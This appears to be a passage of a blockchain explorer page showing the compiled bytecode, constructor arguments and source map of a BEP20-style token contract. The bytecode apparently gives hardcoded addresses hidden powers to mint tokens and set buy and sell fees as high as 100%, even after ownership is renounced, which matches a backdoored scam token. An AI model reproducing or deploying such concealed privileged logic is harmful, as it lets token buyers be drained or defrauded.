b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea2646970667358221220fc6c4fac8cf8d23e1a40d1d95a3daca1e4b0a13793d85bf66fc7e02b003b7d0264736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000001540e771868558d87755b16aa8ed5e0af3751a09

-----Decoded View---------------
Arg [0] : _feeAdmin (address): 0x1540e771868558D87755B16Aa8ED5E0af3751a09

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000001540e771868558d87755b16aa8ed5e0af3751a09


Deployed Bytecode Sourcemap

733:14746:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;829:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5910:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10676:559;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6744:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;911:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12138:405;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7521:1172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1349:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13407:367;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6610:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;794:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11326:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11248:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1319:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13789:361;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9012:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3827:359;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1167:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1007:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10509:144;;;;;;;;;;;;;:::i;:::-;;9982:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1257:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1138;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2931:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;873:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3659:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12556:836;;;:::i;:::-;;1967:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5575:322;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10363:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6157:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;